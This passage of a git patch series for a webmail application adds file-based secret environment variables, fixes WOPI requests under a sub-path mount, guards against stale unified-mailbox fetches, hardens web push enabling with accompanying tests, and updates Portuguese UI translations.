(meeting|reunion|call)$/, ''); + return MEETING_LABELS.has(label); } export type LocationAction = From fe813d359994fda9c6a5abb7b2b6f76b93fd6b4e Mon Sep 17 00:00:00 2001 From: Pascal Dietrich Date: Sun, 23 Aug 2026 22:24:25 +0200 Subject: [PATCH 012/358] feat: add file-based env variables for LibreTranslate and Stalwart Impersonation --- app/api/translate/route.ts | 7 +++++-- lib/impersonation/master-config.ts | 21 ++++++++++++++++++--- 2 files changed, 23 insertions(+), 5 deletions(-) diff --git a/app/api/translate/route.ts b/app/api/translate/route.ts index 9493a16e4..511965bd0 100644 --- a/app/api/translate/route.ts +++ b/app/api/translate/route.ts @@ -1,4 +1,5 @@ import { NextRequest, NextResponse } from 'next/server'; +import { readFileEnv } from "@/lib/read-file-env"; import { getStalwartCredentials } from '@/lib/stalwart/credentials'; // Host-side proxy backing the "Translate" plugin (manifest apiPostPaths: @@ -11,7 +12,7 @@ import { getStalwartCredentials } from '@/lib/stalwart/credentials'; // langpair needs an explicit source language, so when the // plugin asks for "auto" we detect it locally first. // - "libretranslate" — only available when the host sets LIBRETRANSLATE_URL -// (and optionally LIBRETRANSLATE_API_KEY). Supports native +// (and optionally LIBRETRANSLATE_API_KEY or LIBRETRANSLATE_API_KEY_FILE). Supports native // source auto-detection. export const runtime = 'nodejs'; @@ -225,7 +226,9 @@ async function translateLibre( if (!endpoint) { throw new Error('LibreTranslate is not configured on this server'); } - const apiKey = process.env.LIBRETRANSLATE_API_KEY; + const apiKey = + process.env.LIBRETRANSLATE_API_KEY || + readFileEnv(process.env.LIBRETRANSLATE_API_KEY_FILE); const url = endpoint.replace(/\/+$/, '') + '/translate'; const res = await fetch(url, { method: 'POST', diff --git a/lib/impersonation/master-config.ts b/lib/impersonation/master-config.ts index 392d3d151..f93bad1e1 100644 --- a/lib/impersonation/master-config.ts +++ b/lib/impersonation/master-config.ts @@ -1,4 +1,5 @@ import { configManager } from '@/lib/admin/config-manager'; +import { readFileEnv } from "@/lib/read-file-env"; export interface ImpersonationConfig { jwtSecret: string; @@ -16,13 +17,27 @@ export interface ImpersonationConfig { * BULWARK_STALWART_MASTER_USER master account address (e.g. master@example.com) * BULWARK_STALWART_MASTER_PASSWORD * + * Alternatively the file-based env: + * BULWARK_JWT_AUTH_SECRET_FILE + * BULWARK_STALWART_MASTER_USER_FILE + * BULWARK_STALWART_MASTER_PASSWORD_FILE + * * Optional env: * BULWARK_JWT_AUTH_ISSUER (default: "platform-api/webmail") */ export function readImpersonationConfig(): ImpersonationConfig | null { - const jwtSecret = process.env.BULWARK_JWT_AUTH_SECRET ?? ''; - const masterUser = process.env.BULWARK_STALWART_MASTER_USER ?? ''; - const masterPassword = process.env.BULWARK_STALWART_MASTER_PASSWORD ?? ''; + const jwtSecret = + process.env.BULWARK_JWT_AUTH_SECRET ?? + readFileEnv(process.env.BULWARK_JWT_AUTH_SECRET_FILE) ?? + ""; + const masterUser = + process.env.BULWARK_STALWART_MASTER_USER ?? + readFileEnv(process.env.BULWARK_STALWART_MASTER_USER_FILE) ?? + ""; + const masterPassword = + process.env.BULWARK_STALWART_MASTER_PASSWORD ?? + readFileEnv(process.env.BULWARK_STALWART_MASTER_PASSWORD_FILE) ?? + ""; if (!jwtSecret || !masterUser || !masterPassword) return null; return { jwtSecret, From 424bce0a6a567cc1184f0ce1e6c5c87d342afde3 Mon Sep 17 00:00:00 2001 From: Pascal Dietrich Date: Sun, 23 Aug 2026 21:49:55 +0200 Subject: [PATCH 013/358] fix: ConfigManager handle file-based env vars from JSON config --- lib/admin/config-manager.ts | 15 ++++++++++++++- lib/admin/types.ts | 6 +++--- 2 files changed, 17 insertions(+), 4 deletions(-) diff --git a/lib/admin/config-manager.ts b/lib/admin/config-manager.ts index fcafadb06..fee57fe8d 100644 --- a/lib/admin/config-manager.ts +++ b/lib/admin/config-manager.ts @@ -58,12 +58,17 @@ class ConfigManager { */ get(key: string, defaultValue?: T): T { // Admin override (highest priority) + const mapping = CONFIG_ENV_MAP[key]; if (key in this.adminConfig) { return this.adminConfig[key] as T; + } else if (mapping && mapping.fileKey && mapping.fileKey in this.adminConfig) { + const fileVal = readFileEnv(this.adminConfig[mapping.fileKey]); + if (fileVal !== null) { + return parseEnvValue(fileVal, mapping.type) as T; + } } // Environment variable - const mapping = CONFIG_ENV_MAP[key]; if (mapping) { const envVal = process.env[mapping.envVar]; if (envVal !== undefined) { @@ -101,6 +106,14 @@ class ConfigManager { for (const [key, mapping] of Object.entries(CONFIG_ENV_MAP)) { if (key in this.adminConfig) { result[key] = { value: this.adminConfig[key], source: 'admin' }; + } else if (mapping.fileKey && mapping.fileKey in this.adminConfig) { + const fileVal = readFileEnv(this.adminConfig[mapping.fileKey]); + if (fileVal !== null) { + result[key] = { value: parseEnvValue(fileVal, mapping.type), source: 'admin' }; + continue; + } + + result[key] = { value: mapping.defaultValue, source: 'default' }; } else { const envVal = process.env[mapping.envVar]; if (envVal !== undefined) { diff --git a/lib/admin/types.ts b/lib/admin/types.ts index 0799db914..9143d17ab 100644 --- a/lib/admin/types.ts +++ b/lib/admin/types.ts @@ -185,7 +185,7 @@ export interface AuditEntry { } /** Config keys that map to environment variables */ -export const CONFIG_ENV_MAP: Record = { +export const CONFIG_ENV_MAP: Record = { appName: { envVar: 'APP_NAME', type: 'string', defaultValue: 'Webmail' }, appShortName: { envVar: 'APP_SHORT_NAME', type: 'string', defaultValue: '' }, appDescription: { envVar: 'APP_DESCRIPTION', type: 'string', defaultValue: '' }, @@ -232,7 +232,7 @@ export const CONFIG_ENV_MAP: Record Date: Thu, 24 Sep 2026 20:46:58 +0200 Subject: [PATCH 014/358] fix: send the WOPI status and launch requests under the base path Behind a reverse proxy at a sub-path (NEXT_PUBLIC_BASE_PATH, e.g. /webmail) both WOPI requests used a bare fetch('/api/wopi/...') and reached the mail server instead of the webmail. The status probe came back 404, so office editing always looked unavailable there - and since #1047 the probe runs for every opened message, logging the 404 each time. Route both through apiFetch like every other API call, and cover the sub-path mount with a test. --- .../files/__tests__/wopi-base-path.test.tsx | 39 +++++++++++++++++++ components/files/wopi-editor.tsx | 3 +- hooks/use-wopi-status.ts | 3 +- 3 files changed, 43 insertions(+), 2 deletions(-) create mode 100644 components/files/__tests__/wopi-base-path.test.tsx diff --git a/components/files/__tests__/wopi-base-path.test.tsx b/components/files/__tests__/wopi-base-path.test.tsx new file mode 100644 index 000000000..9a3fc8957 --- /dev/null +++ b/components/files/__tests__/wopi-base-path.test.tsx @@ -0,0 +1,39 @@ +import { render, renderHook, waitFor, cleanup } from '@testing-library/react'; +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'; +import { useWopiStatus } from '@/hooks/use-wopi-status'; +import { WopiEditor } from '@/components/files/wopi-editor'; + +// Behind a reverse proxy at a sub-path (e.g. /webmail) a bare +// fetch('/api/...') reaches the mail server instead of the webmail and comes +// back 404, which left office editing permanently "unavailable" there. Both +// WOPI requests have to carry the mount prefix. + +vi.mock('next-intl', () => ({ useTranslations: () => (key: string) => key })); + +let fetchMock: ReturnType; + +beforeEach(() => { + window.history.pushState({}, '', '/webmail/de/mail'); + fetchMock = vi.fn().mockResolvedValue({ ok: false, status: 404, json: async () => ({}) }); + vi.stubGlobal('fetch', fetchMock); +}); + +afterEach(() => { + cleanup(); + vi.unstubAllGlobals(); + window.history.pushState({}, '', '/'); +}); + +describe('WOPI requests under a sub-path mount', () => { + it('probes the editor status under the mount prefix', async () => { + renderHook(() => useWopiStatus(true)); + await waitFor(() => expect(fetchMock).toHaveBeenCalled()); + expect(fetchMock.mock.calls[0][0]).toBe('/webmail/api/wopi/status'); + }); + + it('launches the editor under the mount prefix', async () => { + render( {}} />); + await waitFor(() => expect(fetchMock).toHaveBeenCalled()); + expect(fetchMock.mock.calls[0][0]).toBe('/webmail/api/wopi/launch'); + }); +}); diff --git a/components/files/wopi-editor.tsx b/components/files/wopi-editor.tsx index d5f8e758d..ec647d0bf 100644 --- a/components/files/wopi-editor.tsx +++ b/components/files/wopi-editor.tsx @@ -4,6 +4,7 @@ import { useEffect, useRef, useState } from "react"; import { useTranslations } from "next-intl"; import { Loader2, X } from "@/components/icons"; import { getActiveAccountSlotHeaders } from "@/lib/auth/active-account-slot"; +import { apiFetch } from "@/lib/browser-navigation"; /** What the overlay opens: a Files node, or a mail attachment (read-only, #1047). */ export type WopiDocument = @@ -55,7 +56,7 @@ export function WopiEditor({ target, accountId, slot, onClose }: WopiEditorProps try { const slotHeaders: Record = typeof slot === "number" ? { "X-JMAP-Cookie-Slot": String(slot) } : getActiveAccountSlotHeaders(); - const res = await fetch("/api/wopi/launch", { + const res = await apiFetch("/api/wopi/launch", { method: "POST", headers: { "Content-Type": "application/json", ...slotHeaders }, body: launchBody, diff --git a/hooks/use-wopi-status.ts b/hooks/use-wopi-status.ts index 977fc02d6..e3b3b5521 100644 --- a/hooks/use-wopi-status.ts +++ b/hooks/use-wopi-status.ts @@ -2,6 +2,7 @@ import { useEffect, useState } from "react"; import { IS_LITE } from "@/lib/lite"; +import { apiFetch } from "@/lib/browser-navigation"; /** * Whether a WOPI document editor is configured for this deployment and which @@ -22,7 +23,7 @@ function fetchWopiStatus(): Promise { // The WOPI bridge is a server feature; the static build never has an editor. if (IS_LITE) return Promise.resolve(DISABLED); if (!statusPromise) { - statusPromise = fetch("/api/wopi/status") + statusPromise = apiFetch("/api/wopi/status") .then((res) => (res.ok ? res.json() : DISABLED)) .then((data) => ({ enabled: !!data?.enabled, From c08375974ac28540227c481e4ed62dafb213c4a4 Mon Sep 17 00:00:00 2001 From: Aaron Guise Date: Fri, 25 Sep 2026 07:30:55 +1200 Subject: [PATCH 015/358] fix(email-store): stop late unified/cross-view fetches from stomping folder selection :bug: fetchUnifiedEmails and fetchCrossView set isUnifiedView:true synchronously then await a network fetch with no check on completion that the view is still current. If one resolved after the user had since selected a real folder, it re-set isUnifiedView back to true while selectedMailbox stayed on the folder - so a push-driven refreshCurrentMailbox (e.g. after deleting a message) took the unified branch and blended in Inbox-tagged messages instead of refreshing the folder. Add a viewToken bumped by selectMailbox/selectKeyword/exitUnifiedView; fetchUnifiedEmails/fetchCrossView capture it before fetching and discard their result if it no longer matches on return. Also make selectMailbox/ selectKeyword defensively reset isUnifiedView/unifiedRole/crossView. Upstream: bulwarkmail/webmail#1102 --- .../email-store-view-token-race.test.ts | 112 ++++++++++++++++++ stores/email-store.ts | 39 +++++- 2 files changed, 145 insertions(+), 6 deletions(-) create mode 100644 stores/__tests__/email-store-view-token-race.test.ts diff --git a/stores/__tests__/email-store-view-token-race.test.ts b/stores/__tests__/email-store-view-token-race.test.ts new file mode 100644 index 000000000..472de927b --- /dev/null +++ b/stores/__tests__/email-store-view-token-race.test.ts @@ -0,0 +1,112 @@ +import { beforeEach, describe, expect, it, vi } from 'vitest'; + +/** + * Deleting a message in a real folder (e.g. one built from a Sieve `fileinto` + * rule) could show "Inbox" badges and stale rows blended in, because a + * still-in-flight fetchUnifiedEmails/fetchCrossView call (kicked off before + * the user navigated to that folder) resolved AFTER selectMailbox and + * unconditionally stomped isUnifiedView back to true. The next + * refreshCurrentMailbox (triggered by the delete's push echo) then took the + * unified branch instead of refreshing the real folder. + * + * viewToken is bumped by every view-changing action; fetchUnifiedEmails and + * fetchCrossView capture it before their async fetch and bail if it no + * longer matches on return, so a late response can't clobber a newer view. + */ + +const { fetchCrossViewMock, fetchUnifiedMock } = vi.hoisted(() => ({ + fetchCrossViewMock: vi.fn(), + fetchUnifiedMock: vi.fn(), +})); + +vi.mock('@/lib/unified-mailbox', async (importActual) => { + const actual = await importActual(); + return { + ...actual, + fetchCrossViewEmails: fetchCrossViewMock, + fetchUnifiedEmails: fetchUnifiedMock, + }; +}); + +import { useEmailStore } from '../email-store'; +import { useSettingsStore } from '../settings-store'; +import type { Email } from '@/lib/jmap/types'; +import type { UnifiedAccountClient } from '@/lib/unified-mailbox'; + +const makeEmail = (id: string): Email => + ({ + id, + threadId: `t-${id}`, + mailboxIds: { inbox: true }, + keywords: {}, + from: [{ email: 'a@example.com' }], + to: [{ email: 'b@example.com' }], + subject: `mail ${id}`, + receivedAt: '2026-08-13T10:00:00Z', + preview: '', + hasAttachment: false, + size: 1, + }) as unknown as Email; + +describe('viewToken guards against late-resolving unified fetches (#delete-folder-blend)', () => { + let resolveUnified!: (value: unknown) => void; + + beforeEach(() => { + vi.clearAllMocks(); + useSettingsStore.setState({ emailsPerPage: 25 }); + useEmailStore.setState({ + emails: [], + totalEmails: 0, + isUnifiedView: false, + unifiedRole: null, + crossView: null, + selectedMailbox: '', + selectedKeyword: null, + }); + fetchUnifiedMock.mockImplementation( + () => new Promise((resolve) => { resolveUnified = resolve; }), + ); + }); + + it('a late-resolving fetchUnifiedEmails does not stomp a folder selected afterward', async () => { + const accounts: UnifiedAccountClient[] = []; + + // Kick off a unified fetch and don't await it yet - simulates it being + // in flight when the user clicks away. + const pending = useEmailStore.getState().fetchUnifiedEmails(accounts, 'inbox'); + expect(useEmailStore.getState().isUnifiedView).toBe(true); + + // User navigates to a real folder (e.g. "Later") before the fetch settles. + useEmailStore.getState().selectMailbox('later-folder-id'); + expect(useEmailStore.getState().isUnifiedView).toBe(false); + expect(useEmailStore.getState().selectedMailbox).toBe('later-folder-id'); + + // The stale unified fetch now resolves. + resolveUnified({ + emails: [makeEmail('unified-a'), makeEmail('unified-b')], + hasMore: false, + total: 2, + errors: new Map(), + }); + await pending; + + // It must not have re-entered unified view or overwritten the folder's state. + expect(useEmailStore.getState().isUnifiedView).toBe(false); + expect(useEmailStore.getState().selectedMailbox).toBe('later-folder-id'); + expect(useEmailStore.getState().emails.map((e) => e.id)).not.toContain('unified-a'); + }); + + it('a fresh fetchUnifiedEmails call still applies its own results normally', async () => { + fetchUnifiedMock.mockResolvedValueOnce({ + emails: [makeEmail('a')], + hasMore: false, + total: 1, + errors: new Map(), + }); + + await useEmailStore.getState().fetchUnifiedEmails([], 'inbox'); + + expect(useEmailStore.getState().isUnifiedView).toBe(true); + expect(useEmailStore.getState().emails.map((e) => e.id)).toEqual(['a']); + }); +}); diff --git a/stores/email-store.ts b/stores/email-store.ts index 88365d9a0..401bac775 100644 --- a/stores/email-store.ts +++ b/stores/email-store.ts @@ -121,6 +121,11 @@ interface EmailStore { externalSearchResults: ExternalSearchResult[]; // Unified mailbox state + // Bumped by any action that changes which mailbox/keyword/unified view is + // active. fetchUnifiedEmails/fetchCrossView capture it before their async + // fetch and check it on return, so a late-resolving fetch from a view the + // user already navigated away from can't stomp the newer view's state (#delete-folder-blend). + viewToken: number; isUnifiedView: boolean; unifiedRole: UnifiedMailboxRole | null; // Cross-account view ('unread' | 'starred' | 'all') when active; null for the @@ -1432,6 +1437,7 @@ export const useEmailStore = create((set, get) => ({ externalSearchResults: [], // Unified mailbox state + viewToken: 0, isUnifiedView: false, unifiedRole: null, crossView: null, @@ -1516,7 +1522,7 @@ export const useEmailStore = create((set, get) => ({ emailHooks.onEmailOpen.emitSync(email); } }, - selectKeyword: (keyword) => set({ + selectKeyword: (keyword) => set(state => ({ selectedKeyword: keyword, isLoadingMore: false, selectedEmail: null, @@ -1524,7 +1530,11 @@ export const useEmailStore = create((set, get) => ({ expandedThreadIds: new Set(), threadEmailsCache: new Map(), threadEmailCounts: new Map(), - }), + viewToken: state.viewToken + 1, + isUnifiedView: false, + unifiedRole: null, + crossView: null, + })), fetchTagCounts: (client) => coalesceRefresh(client, 'tagCounts', async () => { try { const keywords = useSettingsStore.getState().emailKeywords; @@ -1553,7 +1563,7 @@ export const useEmailStore = create((set, get) => ({ console.error('Failed to fetch tag counts:', error); } }), - selectMailbox: (mailboxId) => set({ + selectMailbox: (mailboxId) => set(state => ({ selectedMailbox: mailboxId, isLoadingMore: false, selectedEmail: null, @@ -1563,7 +1573,11 @@ export const useEmailStore = create((set, get) => ({ threadEmailsCache: new Map(), threadEmailCounts: new Map(), isLoadingThread: null, - }), + viewToken: state.viewToken + 1, + isUnifiedView: false, + unifiedRole: null, + crossView: null, + })), setLoading: (loading) => set({ isLoading: loading }), setLoadingEmail: (loading) => set({ isLoadingEmail: loading }), setError: (error) => set({ error }), @@ -4777,6 +4791,7 @@ export const useEmailStore = create((set, get) => ({ // Unified mailbox operations fetchUnifiedEmails: async (accounts, role) => { + const token = get().viewToken + 1; set({ isLoading: true, error: null, @@ -4785,11 +4800,15 @@ export const useEmailStore = create((set, get) => ({ crossView: null, selectedKeyword: null, retainedInViewIds: new Set(), + viewToken: token, }); try { const emailsPerPage = useSettingsStore.getState().emailsPerPage; const order = getMessageListOrderFor(role); const result = await fetchUnifiedEmails(accounts, role, emailsPerPage, 0, order); + // The user may have navigated to a different mailbox/keyword/unified view + // while this was in flight — don't let a stale response overwrite it. + if (get().viewToken !== token) return; set({ emails: result.emails, hasMoreEmails: result.hasMore, @@ -4799,6 +4818,7 @@ export const useEmailStore = create((set, get) => ({ unifiedErrors: result.errors, }); } catch (error) { + if (get().viewToken !== token) return; console.error('Failed to fetch unified emails:', error); set({ error: error instanceof Error ? error.message : "Failed to fetch unified emails", @@ -4855,6 +4875,7 @@ export const useEmailStore = create((set, get) => ({ }, fetchCrossView: async (accounts, view) => { + const token = get().viewToken + 1; set({ isLoading: true, error: null, @@ -4863,10 +4884,14 @@ export const useEmailStore = create((set, get) => ({ crossView: view, selectedKeyword: null, retainedInViewIds: new Set(), + viewToken: token, }); try { const emailsPerPage = useSettingsStore.getState().emailsPerPage; const result = await fetchCrossViewEmails(accounts, view, emailsPerPage, 0); + // The user may have navigated to a different mailbox/keyword/unified view + // while this was in flight — don't let a stale response overwrite it. + if (get().viewToken !== token) return; set({ emails: result.emails, hasMoreEmails: result.hasMore, @@ -4875,6 +4900,7 @@ export const useEmailStore = create((set, get) => ({ unifiedErrors: result.errors, }); } catch (error) { + if (get().viewToken !== token) return; console.error('Failed to fetch cross-account view:', error); set({ error: error instanceof Error ? error.message : "Failed to fetch cross-account view", @@ -4898,13 +4924,14 @@ export const useEmailStore = create((set, get) => ({ }, exitUnifiedView: () => { - set({ + set(state => ({ isUnifiedView: false, unifiedRole: null, crossView: null, unifiedErrors: new Map(), retainedInViewIds: new Set(), - }); + viewToken: state.viewToken + 1, + })); }, setScheduledView: (isScheduledView, accountScope = null) => set(state => { From 7068c67ec7c968b50ea9b13e59bf01c8876e6382 Mon Sep 17 00:00:00 2001 From: Shuki Vaknin Date: Fri, 25 Sep 2026 20:15:45 +0300 Subject: [PATCH 016/358] fix(push): don't abort enabling push when the browser can't read its subscription Firefox rejects pushManager.getSubscription() with `AbortError: Error retrieving push subscription` when its local push record is stale or the push service is unreachable. enableWebPush let that reject the whole call, so the onboarding banner showed the browser's bare error and push could never be turned on again - even though subscribing fresh is exactly the recovery. Treat a failed lookup as "no subscription to reuse" and continue to subscribe(), whose error still surfaces when the push service is really unavailable. Same reasoning for unsubscribe() of a mismatched subscription: getting the new subscription is what matters. Claude-Session: https://claude.ai/code/session_019KwXZEwxijHRbfobfXmcK2 --- lib/__tests__/web-push.test.ts | 26 ++++++++++++++++++++++++++ lib/web-push.ts | 11 +++++++++-- 2 files changed, 35 insertions(+), 2 deletions(-) diff --git a/lib/__tests__/web-push.test.ts b/lib/__tests__/web-push.test.ts index ab7da8933..8358ad888 100644 --- a/lib/__tests__/web-push.test.ts +++ b/lib/__tests__/web-push.test.ts @@ -231,6 +231,32 @@ describe('enableWebPush', () => { expect(calls.some((c) => c.url.endsWith('/api/push/register/web'))).toBe(true); }); + it('subscribes anyway when the browser cannot retrieve the existing subscription', async () => { + // Firefox rejects the lookup with `AbortError: Error retrieving push + // subscription` when its local record is stale; that must not abort enable. + const { registration } = installPushBrowser(); + registration.pushManager.getSubscription.mockRejectedValue( + new DOMException('Error retrieving push subscription', 'AbortError'), + ); + installFetch({}); + + const result = await enableWebPush({ client: makeClient([]), relayBaseUrl: RELAY }); + + expect(registration.pushManager.subscribe).toHaveBeenCalledTimes(1); + expect(result.subscriptionId).toBe('push-new'); + }); + + it('still subscribes when unsubscribing the mismatched subscription fails', async () => { + const { browserSub, registration } = installPushBrowser(); + browserSub.options.applicationServerKey = new Uint8Array([9, 9, 9]).buffer; + browserSub.unsubscribe.mockRejectedValue(new Error('unsubscribe failed')); + installFetch({}); + + await enableWebPush({ client: makeClient([]), relayBaseUrl: RELAY }); + + expect(registration.pushManager.subscribe).toHaveBeenCalledTimes(1); + }); + it('replaces a browser subscription whose key the browser does not expose', async () => { const { browserSub, registration } = installPushBrowser(); browserSub.options.applicationServerKey = null; diff --git a/lib/web-push.ts b/lib/web-push.ts index b2e5a7399..363e7a1c2 100644 --- a/lib/web-push.ts +++ b/lib/web-push.ts @@ -424,12 +424,19 @@ export async function enableWebPush( // service on every send - Mozilla answers 401 "VAPID public key mismatch" - // while isWebPushEnabled keeps reporting push as on. const applicationServerKey = urlBase64ToUint8Array(vapidPublicKey); - let pushSubscription = await registration.pushManager.getSubscription(); + // A stale or broken local record makes Firefox reject the lookup itself with + // `AbortError: Error retrieving push subscription`, which would abort the + // whole enable. There is nothing to reuse in that case, so carry on to + // subscribe() and let its own error surface if the push service is really + // unreachable. + let pushSubscription = await registration.pushManager.getSubscription().catch(() => null); if ( pushSubscription && !sameKey(pushSubscription.options?.applicationServerKey, applicationServerKey) ) { - await pushSubscription.unsubscribe(); + // An unsubscribe that fails leaves the old record in place; subscribing + // with the right key is what matters, so don't abort the enable for it. + await pushSubscription.unsubscribe().catch(() => undefined); pushSubscription = null; } if (!pushSubscription) { From d17130f4090939e58044d2fe0075c60b619f8f17 Mon Sep 17 00:00:00 2001 From: Luis Felipe Marzagao Date: Fri, 25 Sep 2026 22:15:49 -0300 Subject: [PATCH 017/358] fix: Update the Portuguese translations in the common.json file --- locales/pt/common.json | 128 ++++++++++++++++++++--------------------- 1 file changed, 64 insertions(+), 64 deletions(-) diff --git a/locales/pt/common.json b/locales/pt/common.json index d9938c0f9..d17ddc4e1 100644 --- a/locales/pt/common.json +++ b/locales/pt/common.json @@ -142,8 +142,8 @@ "unified_all_unread": "Tudo não lido", "unified_all_starred": "Tudo com estrela", "unified_all_mail": "Todo o correio", - "remove_account": "Remove account", - "remove_account_confirm": "Remove {account} from this device? You can add it back later." + "remove_account": "Remover conta", + "remove_account_confirm": "Remover {account} desse dispositivo? Você pode adicioná-la de volta depois." }, "protocol_handlers": { "title": "Aplicativos padrão", @@ -296,7 +296,7 @@ "forward": "Encaminhar", "delete": "Excluir", "archive": "Arquivar", - "archive_mailbox_not_found": "Archive mailbox not found - cannot archive email", + "archive_mailbox_not_found": "Caixa de arquivos não encontrada - não é possível arquivar e-mail", "star": "Adicionar Estrela", "unstar": "Remover Estrela", "mark_unread": "Marcar como não lido", @@ -608,8 +608,8 @@ "send": "Enviar", "cancel": "Cancelar", "attach": "Anexar", - "attach_photos": "Photos & Videos", - "attach_files": "Files", + "attach_photos": "Fotos & Vídeos", + "attach_files": "Arquivos", "discard": "Descartar", "discard_draft_title": "Descartar rascunho?", "discard_draft_confirm": "Você tem alterações não salvas. Deseja descartar este rascunho?", @@ -620,8 +620,8 @@ "cc_placeholder": "Destinatários CC", "bcc_placeholder": "Destinatários CCO", "subject_placeholder": "Assunto", - "cc_label": "CC:", - "bcc_label": "CCO:", + "cc_label": "Cc:", + "bcc_label": "Cco:", "subject_label": "Assunto:", "file_size_kb": "KB", "prefix": { @@ -1050,8 +1050,8 @@ "label": "Caixa de correio unificada", "description": "Mostrar pastas combinadas (Entrada, Enviados, etc.) de todas as contas conectadas", "cross_account": { - "label": "Across all accounts", - "description": "Merge the unified mailbox across every connected account instead of staying within the active account." + "label": "Todas as contas", + "description": "Unifique a caixa de correio em todas as contas conectadas, em vez de permanecer apenas na conta ativa." }, "include_group": { "label": "Incluir caixas de grupo", @@ -1059,26 +1059,26 @@ } }, "all_mail": { - "folders_label": "Folders in All Mail", - "folders_description": "Choose which folders are merged into the All Mail view.", - "account_hint": "Applies to {account}.", - "no_folders": "No folders available." + "folders_label": "Pastas em Todos os E-mails", + "folders_description": "Escolha quais pastas serão mescladas na visualização de Todos os E-mails.", + "account_hint": "Aplica-se a {account}.", + "no_folders": "Nenhuma pasta disponível." }, "colorful_sidebar_icons": { "label": "Ícones coloridos na barra lateral", "description": "Colorir ícones de pastas e etiquetas por tipo (Caixa de entrada azul, Spam vermelho, Enviados verde, etc.). Desative para uma barra lateral monocromática." }, "tint_list_rows": { - "label": "Tint List Rows by Tag Color", - "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." + "label": "Colorir as linhas da lista de acordo com a cor da etiqueta", + "description": "Aplicar sombreado a cada linha de mensagem com a cor da primeira etiqueta. Desative essa opção para manter as linhas sem sombreado; os pontos e os ícones das etiquetas continuarão exibindo a cor." }, "show_folder_total_count": { "label": "Mostrar contagem total de mensagens", "description": "Mostra a contagem total de mensagens ao lado de pastas e etiquetas, além da contagem de não lidas. Desative para mostrar apenas as não lidas." }, "favicon_unread_badge": { - "label": "Unread Count on Tab Icon", - "description": "Show the inbox unread count as a badge on the browser tab icon, so new mail is visible when the tab is not focused. Disable to keep the icon unbadged." + "label": "Contagem de não lidos no Ícone da Aba", + "description": "Mostra a contagem de e-mails não lidos na aba do navegador, para que novos e-mails sejam visíveis mesmo quando a aba não estiver em foco. Desative para manter o ícone sem marca." }, "pro_interface": { "label": "Interface Pro (experimental)", @@ -1166,8 +1166,8 @@ "enabled_desc": "Mostrar notificações quando novos e-mails chegarem", "sound": "Som de notificação", "sound_desc": "Reproduzir um som quando novos e-mails chegarem", - "inbox_only": "Inbox only", - "inbox_only_desc": "Only notify for mail that lands in the Inbox; skip mail a filter files into another folder" + "inbox_only": "Apenas Caixa de Entrada", + "inbox_only_desc": "Notificar apenas pelos e-mails que chegarem à Caixa de Entrada; pular e-mails que forem filtrados para outra pasta" }, "calendar": { "title": "Notificações de calendário", @@ -1196,7 +1196,7 @@ "status_busy": "Processando…", "status_inactive": "Não ativado neste dispositivo", "status_unsupported": "Este navegador não oferece suporte a Web Push", - "status_lite": "Web Push is not available in Bulwark Lite; it needs the Bulwark server.", + "status_lite": "O Web Push não está disponível no Bulwark Lite; ele requer o servidor do Bulwark.", "title": "Notificações em segundo plano", "devices_title": "Dispositivos registrados", "devices_desc": "Todos os dispositivos registrados para receber notificações em segundo plano desta conta. Revogar um deles interrompe o recebimento imediatamente.", @@ -1236,12 +1236,12 @@ "preview_older": "Mais antigo:" }, "date_locale": { - "label": "Date format region", - "description": "How numeric dates are ordered (day, month, year)", - "auto": "Automatic (match language)", - "iso": "ISO 8601 (YYYY-MM-DD)", - "dmy": "Day/Month/Year", - "mdy": "Month/Day/Year" + "label": "Formato de data da região", + "description": "Como as datas numéricas são ordenadas (dia, mês, ano)", + "auto": "Automático (corresponder ao idioma)", + "iso": "ISO 8601 (AAAA-MM-DD)", + "dmy": "Dia/Mês/Ano", + "mdy": "Mês/Dia/Ano" }, "time_format": { "label": "Formato de Hora", @@ -1256,10 +1256,10 @@ "monday": "Segunda-feira" }, "time_zone": { - "label": "Time zone", - "description": "Show email and calendar times in this time zone instead of the one reported by your browser", - "auto": "Automatic ({zone})", - "preview_now": "Now:" + "label": "Fuso horário", + "description": "Mostrar os horários dos e-mails e da agenda neste fuso horário, em vez daquele informado pelo seu navegador", + "auto": "Automático ({zone})", + "preview_now": "Agora:" } }, "email_behavior": { @@ -1459,7 +1459,7 @@ "keywords_label": "Palavras-chave de ativação", "keywords_description": "Palavras ou frases que ativam o lembrete quando encontradas na sua mensagem", "add_placeholder": "Adicionar palavra-chave...", - "add": "Add", + "add": "Adicionar", "remove": "Remover" }, "empty_subject_warning": { @@ -1800,8 +1800,8 @@ "role_trash": "Lixeira", "role_junk": "Spam / Lixo eletrônico", "role_archive": "Arquivo", - "role_scheduled": "Scheduled", - "role_snoozed": "Snoozed", + "role_scheduled": "Programado", + "role_snoozed": "Adiado", "role_none": "Nenhum", "create_folder": "Criar pasta", "create_subfolder": "Criar subpasta", @@ -1874,9 +1874,9 @@ "button": "Ver Atalhos" }, "refresh_cache": { - "label": "Refresh cached data", - "description": "Reload contacts, calendars, and folders from the server. Keeps your accounts and sessions — fixes a stale or wrong view without signing out.", - "button": "Refresh" + "label": "Atualizar dados armazenados em cache", + "description": "Atualize os contatos, calendários e pastas do servidor. Mantém suas contas e sessões — corrige uma visualização desatualizada ou incorreta sem precisar sair da conta.", + "button": "Recarregar" }, "reset_settings": { "label": "Redefinir Configurações", @@ -2546,31 +2546,31 @@ "cert_imported": "Certificado importado", "cert_import_failed": "Falha ao importar o certificado", "section_contact": "Detalhes do contato", - "section_work": "Work", - "section_personal": "Personal", - "email_default_label": "Email", - "phone_default_label": "Phone", - "address_default_label": "Address", + "section_work": "Trabalho", + "section_personal": "Pessoal", + "email_default_label": "E-mail", + "phone_default_label": "Telefone", + "address_default_label": "Endereço", "online_service_default_label": "Online", - "organization_label": "Organization", - "title_label": "Title", - "role_label": "Role", - "language_label": "Language", - "related_default_label": "Related", + "organization_label": "Organização", + "title_label": "Título", + "role_label": "Função", + "language_label": "Idioma", + "related_default_label": "Relacionado", "more_actions": "Mais ações", "age_years": "{count, plural, one {1 ano} other {# anos}}", "years_since": "{count, plural, one {há 1 ano} other {há # anos}}" }, "activity": { - "recent_emails": "Recent Emails", - "upcoming_events": "Upcoming Events", - "no_emails": "No recent emails", - "no_events": "No upcoming events", - "no_subject": "(No subject)", - "no_title": "(No title)", - "load_failed": "Failed to load", - "unknown_sender": "Unknown sender", - "all_day": "All day" + "recent_emails": "E-mails recentes", + "upcoming_events": "Eventos futuros", + "no_emails": "Nenhum e-mail recente", + "no_events": "Nenhum evento futuro", + "no_subject": "(Sem assunto)", + "no_title": "(Sem 